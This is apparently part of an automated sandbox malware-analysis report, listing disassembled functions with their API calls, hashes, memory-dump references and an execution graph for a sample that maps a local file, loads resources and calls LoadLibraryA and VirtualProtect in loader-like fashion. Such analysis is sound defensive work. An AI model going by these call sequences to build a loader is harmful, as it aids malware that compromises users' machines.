                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 442123175-1550162156
                                                                                                                                                                    • Opcode ID: 3dc9b0aeca91ebb4347a3f69c01f4ede34ab6e8c2dc7e7b7ab95c8dc04d660da
                                                                                                                                                                    • Instruction ID: 6de6d5d19850d64744492e8934cc6f4d05e986dd5a56da5290d191f29c7d4e6f
                                                                                                                                                                    • Opcode Fuzzy Hash: 3dc9b0aeca91ebb4347a3f69c01f4ede34ab6e8c2dc7e7b7ab95c8dc04d660da
                                                                                                                                                                    • Instruction Fuzzy Hash: 0C319C72B18A4187EB10AF19E8843A9B3A0FB65788F848035EB4D47B5DDF7CD655CB10
                                                                                                                                                                    Function 00007FF7B1DFB794 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFileLastWrite
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 442123175-1550162156
                                                                                                                                                                    • Opcode ID: 3f14505ec3ab487458625bfce4dbc09dcd7437ee263c5a560f0d8fd4ba14bd0a
                                                                                                                                                                    • Instruction ID: cccf1c4fa39df9f4bda4f39f906ab4e1e4554318a70c79ecd7432576394ec25e
                                                                                                                                                                    • Opcode Fuzzy Hash: 3f14505ec3ab487458625bfce4dbc09dcd7437ee263c5a560f0d8fd4ba14bd0a
                                                                                                                                                                    • Instruction Fuzzy Hash: 0E31E533A186818AE710AF19E4403A9B7A1F769B89F848131EF4D4775DDF7CD605CB20
                                                                                                                                                                    Function 00007FF7B1DF5BC8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FileHandleType
                                                                                                                                                                    • String ID: @
                                                                                                                                                                    • API String ID: 3000768030-2766056989
                                                                                                                                                                    • Opcode ID: eaffe4eb5df80335ba97f392b40983d446b8a8f082df8f811c505cbb500cc913
                                                                                                                                                                    • Instruction ID: d51df8767cbba11e82efcecd81bb2407f4332a11d7e1e120da7a6c966e62944e
                                                                                                                                                                    • Opcode Fuzzy Hash: eaffe4eb5df80335ba97f392b40983d446b8a8f082df8f811c505cbb500cc913
                                                                                                                                                                    • Instruction Fuzzy Hash: F4219522A0874641EB709B2D9490238AB51EB67B7CFA90335D76F077DCCE79D981C361
                                                                                                                                                                    Function 00007FF7B1DD3FF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FullNamePath
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 608056474-1550162156
                                                                                                                                                                    • Opcode ID: a2f6afb69c34edbb8dcf3338331a1c6b51476ec15d70dfbc9a69f6429766e52f
                                                                                                                                                                    • Instruction ID: 610f4ec21c386264d21ac8b9f4861b3e447fa55fb6fede92c59d9ce2dbf04cae
                                                                                                                                                                    • Opcode Fuzzy Hash: a2f6afb69c34edbb8dcf3338331a1c6b51476ec15d70dfbc9a69f6429766e52f
                                                                                                                                                                    • Instruction Fuzzy Hash: AC210412A1D69281FB64BB18A8003B9E364AF56788FC48031DF4D03EDDDFBCE545CA60
                                                                                                                                                                    Function 00007FF7B1DD1120 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Malloc
                                                                                                                                                                    • String ID: A$|%}
                                                                                                                                                                    • API String ID: 2696272793-1501171872
                                                                                                                                                                    • Opcode ID: e97ef36c699e2c5273c55d47d87b744ed3426a3063736fcaa19b340211543dc7
                                                                                                                                                                    • Instruction ID: 31c0871bd7591c8548028b6535c427a92b88856752b9b60d5a27a2bf1b10ad7f
                                                                                                                                                                    • Opcode Fuzzy Hash: e97ef36c699e2c5273c55d47d87b744ed3426a3063736fcaa19b340211543dc7
                                                                                                                                                                    • Instruction Fuzzy Hash: 3211BF66618B8582FB509B25F88836AE3E4FB99BD8F844135DB8D47B58DF7CC048CB10
                                                                                                                                                                    Function 00007FF7B1DEB514 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B1DE970A), ref: 00007FF7B1DEB558
                                                                                                                                                                    • RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B1DE970A), ref: 00007FF7B1DEB59E
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ExceptionFileHeaderRaise
                                                                                                                                                                    • String ID: csm
                                                                                                                                                                    • API String ID: 2573137834-1018135373
                                                                                                                                                                    • Opcode ID: b3fd3407c9776497406ed41f83dc65dc5bd5048803f83b97085b94b965162c8b
                                                                                                                                                                    • Instruction ID: 74ec9b7f215e82f68ff69c004ca30468c2f6e85c6bb2176f78844cb5a63f2dac
                                                                                                                                                                    • Opcode Fuzzy Hash: b3fd3407c9776497406ed41f83dc65dc5bd5048803f83b97085b94b965162c8b
                                                                                                                                                                    • Instruction Fuzzy Hash: 74119132A08B4182EB149F19F440269B7E1FB99B99F588234DF8D07768DF7CE551CB10
                                                                                                                                                                    Function 00007FF7B1DD1040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteInfoLead
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1254592819-1550162156
                                                                                                                                                                    • Opcode ID: 73e96e15223cb5022621e4ba0c12c51ee839cd7009c1865904c4bcdfe6ca7f4e
                                                                                                                                                                    • Instruction ID: c1f070e681453d49c4f2a895f05b14937f2fe036d4c95908ddf62e63516db564
                                                                                                                                                                    • Opcode Fuzzy Hash: 73e96e15223cb5022621e4ba0c12c51ee839cd7009c1865904c4bcdfe6ca7f4e
                                                                                                                                                                    • Instruction Fuzzy Hash: BBF0283260C680C1F7085B29A59016EF360FB697C8FC14139D78E4666DCFACD194C710
                                                                                                                                                                    Function 00007FF7B1DD3018 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DirectoryRemove
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 597925465-1550162156
                                                                                                                                                                    • Opcode ID: 6810876b90f08823f9823bfb6e7db6b6d8ddf4ac86015b528d361ec5686a14cb
                                                                                                                                                                    • Instruction ID: dab7f86a5710c26a970bd4742d1032c39ee4310cc8c21d33d8006f1abb0b0766
                                                                                                                                                                    • Opcode Fuzzy Hash: 6810876b90f08823f9823bfb6e7db6b6d8ddf4ac86015b528d361ec5686a14cb
                                                                                                                                                                    • Instruction Fuzzy Hash: EBF0C862B1C69241FB64AB25F8413F9A354BF567C8FC84035EACC4265DDFACD684CA20
                                                                                                                                                                    Function 00007FF7B1DD4FC4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteCharMultiWideswprintf
                                                                                                                                                                    • String ID: $%s:%s$|%}
                                                                                                                                                                    • API String ID: 646503100-3890636829
                                                                                                                                                                    • Opcode ID: 17567f7f9a99cc57094c18db5b8a46c17d553fe708b63d87dfa24ac934df9216
                                                                                                                                                                    • Instruction ID: 0268920c85c7e8a825efd5361783fae1d6da5e514a20ac80cbf0fbd7147c708c
                                                                                                                                                                    • Opcode Fuzzy Hash: 17567f7f9a99cc57094c18db5b8a46c17d553fe708b63d87dfa24ac934df9216
                                                                                                                                                                    • Instruction Fuzzy Hash: 2CF049626186C591EB64AB15E8517EAE310FBA97C8FC04031EA8D0765DDE6CD215CB10
                                                                                                                                                                    Function 00007FF7B1DD5CA8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FindHandleModuleResource
                                                                                                                                                                    • String ID: RTL
                                                                                                                                                                    • API String ID: 3537982541-834975271
                                                                                                                                                                    • Opcode ID: 0854f4d08a9f2a9e6124afa04fca78ffc61048a171a0961c66356de938ffab52
                                                                                                                                                                    • Instruction ID: 469725c45ec25fb0ffe331e6201834f915a0973b8183ce4b1ff6d73f66e6bdf0
                                                                                                                                                                    • Opcode Fuzzy Hash: 0854f4d08a9f2a9e6124afa04fca78ffc61048a171a0961c66356de938ffab52
                                                                                                                                                                    • Instruction Fuzzy Hash: A4D0C750B09A0682FF18676AA44433083106B2AB89FC9403CCA0E0A38CEEAC92888730

                                                                                                                                                                    Execution Graph

                                                                                                                                                                    Execution Coverage:0.5%
                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                    Signature Coverage:10.9%
                                                                                                                                                                    Total number of Nodes:110
                                                                                                                                                                    Total number of Limit Nodes:6
                                                                                                                                                                    execution_graph 25010 4029a1 25031 402f2c 25010->25031 25012 4029ad GetStartupInfoA 25013 4029db InterlockedCompareExchange 25012->25013 25014 4029ed 25013->25014 25015 4029e9 25013->25015 25017 402a17 25014->25017 25018 402a0d _amsg_exit 25014->25018 25015->25014 25016 4029f4 Sleep 25015->25016 25016->25013 25019 402a40 25017->25019 25020 402a20 _initterm_e 25017->25020 25018->25019 25021 402a6a 25019->25021 25022 402a4f _initterm 25019->25022 25020->25019 25024 402a3b __onexit 25020->25024 25023 402a6e InterlockedExchange 25021->25023 25026 402a76 __IsNonwritableInCurrentImage 25021->25026 25022->25021 25023->25026 25025 402b05 _ismbblead 25025->25026 25026->25025 25028 402b4a 25026->25028 25029 402aef exit 25026->25029 25032 401110 25026->25032 25028->25024 25030 402b53 _cexit 25028->25030 25029->25026 25030->25024 25031->25012 25037 401a40 25032->25037 25034 40111a 25036 401170 25034->25036 25040 401b90 getenv __iob_func __iob_func 25034->25040 25036->25026 25041 4018e0 25037->25041 25039 401a4c 25039->25034 25040->25036 25092 401220 19 API calls 25041->25092 25043 4018eb 25044 4018f2 25043->25044 25064 4013e0 25043->25064 25044->25039 25046 4018ff 25046->25044 25047 401912 6 API calls 25046->25047 25048 401944 getenv 25046->25048 25047->25048 25049 401973 25048->25049 25050 401958 getenv atoi 25048->25050 25093 401660 strncpy GetFullPathNameA 25049->25093 25050->25049 25052 4019ba 25053 4019c4 25052->25053 25054 4019d5 25052->25054 25094 4016f0 7 API calls 25053->25094 25095 4017d0 9 API calls 25054->25095 25057 401a36 25057->25039 25058 4019c9 25058->25057 25059 4019e6 25058->25059 25062 401a0b 25058->25062 25096 401540 54 API calls 25059->25096 25097 401540 54 API calls 25062->25097 25063 401a03 25063->25039 25065 401400 FindResourceA 25064->25065 25066 4013f7 25064->25066 25068 401412 LoadResource LockResource 25065->25068 25069 401455 25065->25069 25104 401180 11 API calls 25066->25104 25105 401d60 25068->25105 25098 401350 CreateFileA 25069->25098 25071 4013fd 25071->25065 25073 401464 25075 4014a4 _snprintf 25073->25075 25076 40146d strncmp 25073->25076 25074 40142c 25077 401500 25074->25077 25078 401437 GetLastError 25074->25078 25081 401d60 48 API calls 25075->25081 25079 401485 25076->25079 25080 401498 UnmapViewOfFile 25076->25080 25077->25046 25115 401000 7 API calls 25078->25115 25083 401d60 48 API calls 25079->25083 25080->25075 25080->25077 25084 4014cf 25081->25084 25086 401493 25083->25086 25084->25077 25087 4014d6 GetLastError 25084->25087 25085 401448 25085->25046 25086->25080 25116 401000 7 API calls 25087->25116 25089 4014e7 25117 401000 7 API calls 25089->25117 25091 4014f3 25091->25046 25092->25043 25093->25052 25094->25058 25095->25058 25096->25063 25097->25057 25099 401372 25098->25099 25100 401377 GetFileSize CreateFileMappingA CloseHandle 25098->25100 25099->25073 25101 4013a8 25100->25101 25102 4013af MapViewOfFile CloseHandle 25100->25102 25101->25073 25103 4013cc 25102->25103 25103->25073 25104->25071 25106 401d7d 25105->25106 25107 401d6e 25105->25107 25128 402520 39 API calls 25106->25128 25118 401cb0 25107->25118 25110 401d78 25110->25074 25111 401dbb 25111->25074 25113 401d89 25113->25111 25114 401dc3 OutputDebugStringA __iob_func fprintf 25113->25114 25129 402230 malloc qsort bsearch 25113->25129 25114->25111 25115->25085 25116->25089 25117->25091 25119 401cc1 GetModuleHandleA 25118->25119 25121 401cfa 25119->25121 25122 401ced LoadLibraryA 25119->25122 25124 401d03 25121->25124 25125 401d25 25121->25125 25122->25121 25123 401d54 25122->25123 25123->25110 25124->25125 25126 401d10 GetProcAddress 25124->25126 25125->25110 25126->25124 25127 401d2e OutputDebugStringA __iob_func fprintf 25126->25127 25127->25123 25128->25113 25129->25113 25130 67001f84 25131 67001fa7 25130->25131 25132 67001fc6 LocalAlloc 25131->25132 25133 67001ff4 25132->25133 25134 67002093 CreateFileW 25133->25134 25135 670020d8 25134->25135 25136 670020ef 25135->25136 25137 67002116 ReadFile 25135->25137 25138 67002175 25137->25138 25139 670021e1 LoadLibraryA VirtualProtect 25138->25139 25142 67001eb5 25139->25142 25143 67001ec0 VirtualProtect 25142->25143 25143->25136

                                                                                                                                                                    Executed Functions

                                                                                                                                                                    Function 00401CB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67libraryloaderCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    • GetModuleHandleA.KERNEL32(00000001,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CE1
                                                                                                                                                                    • LoadLibraryA.KERNELBASE(00000000,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401CEE
                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 00401D14
                                                                                                                                                                    • OutputDebugStringA.KERNEL32(undef symbol,?,004056A8,?,00401D78,?,00000000,004014CF,?,00000000), ref: 00401D33
                                                                                                                                                                    • __iob_func.MSVCR90 ref: 00401D41
                                                                                                                                                                    • fprintf.MSVCR90 ref: 00401D4B
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1897491104.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1897466032.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1897542180.0000000000404000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1897578162.0000000000405000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1897615353.0000000000407000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AddressDebugHandleLibraryLoadModuleOutputProcString__iob_funcfprintf
                                                                                                                                                                    • String ID: undef symbol$undefined symbol %s -> exit(-1)
                                                                                                                                                                    • API String ID: 3232099167-3880521481
                                                                                                                                                                    • Opcode ID: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
                                                                                                                                                                    • Instruction ID: ec091370b392768ebba2b9cbd08fa3fa07ccb6f4dd854fbc632097c7e97f4075
                                                                                                                                                                    • Opcode Fuzzy Hash: a62e86013865cb6945eca6c9e6b857a4ad3fd4014c4c712411902039301153c0
                                                                                                                                                                    • Instruction Fuzzy Hash: 9A11E2B16003029FEB216B699C487677798EFD4351F194437EA82F33B0D778DC958A18
                                                                                                                                                                    Function 00401350 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64fileCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    • CreateFileA.KERNELBASE(C:\Users\user\common.bin,80000000,00000001,00000000,00000003,00000080,00000000,?,?,00401464,?), ref: 00401365
                                                                                                                                                                    • GetFileSize.KERNEL32(00000000,00401464,?,?,?,00401464,?), ref: 0040137F
                                                                                                                                                                    • CreateFileMappingA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00401392
                                                                                                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,00401464,?), ref: 004013A1
                                                                                                                                                                    Strings
                                                                                                                                                                    • C:\Users\user\common.bin, xrefs: 00401364
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1897491104.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1897466032.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1897542180.0000000000404000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1897578162.0000000000405000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1897615353.0000000000407000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: File$Create$CloseHandleMappingSize
                                                                                                                                                                    • String ID: C:\Users\user\common.bin
                                                                                                                                                                    • API String ID: 3089540790-439307139
                                                                                                                                                                    • Opcode ID: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
                                                                                                                                                                    • Instruction ID: 01b989ff9adac1588cbd50fc37617142f0a4378e713b607962af627c2eb096ff
                                                                                                                                                                    • Opcode Fuzzy Hash: e8d0a1f2787124378ff6857ee086f689d906f27355de188c8710255d9154317e
                                                                                                                                                                    • Instruction Fuzzy Hash: B3017172B513107AF63056B8BC4AF9AA798D785B72F21063AFB11FA1D0D6B468005668
                                                                                                                                                                    Function 67001F84 Relevance: 9.3, APIs: 6, Instructions: 300memoryfilelibraryCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    APIs
                                                                                                                                                                    • LocalAlloc.KERNELBASE(00000000,0079D089), ref: 67001FD4
                                                                                                                                                                    • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000004,00000080,00000000), ref: 670020B8
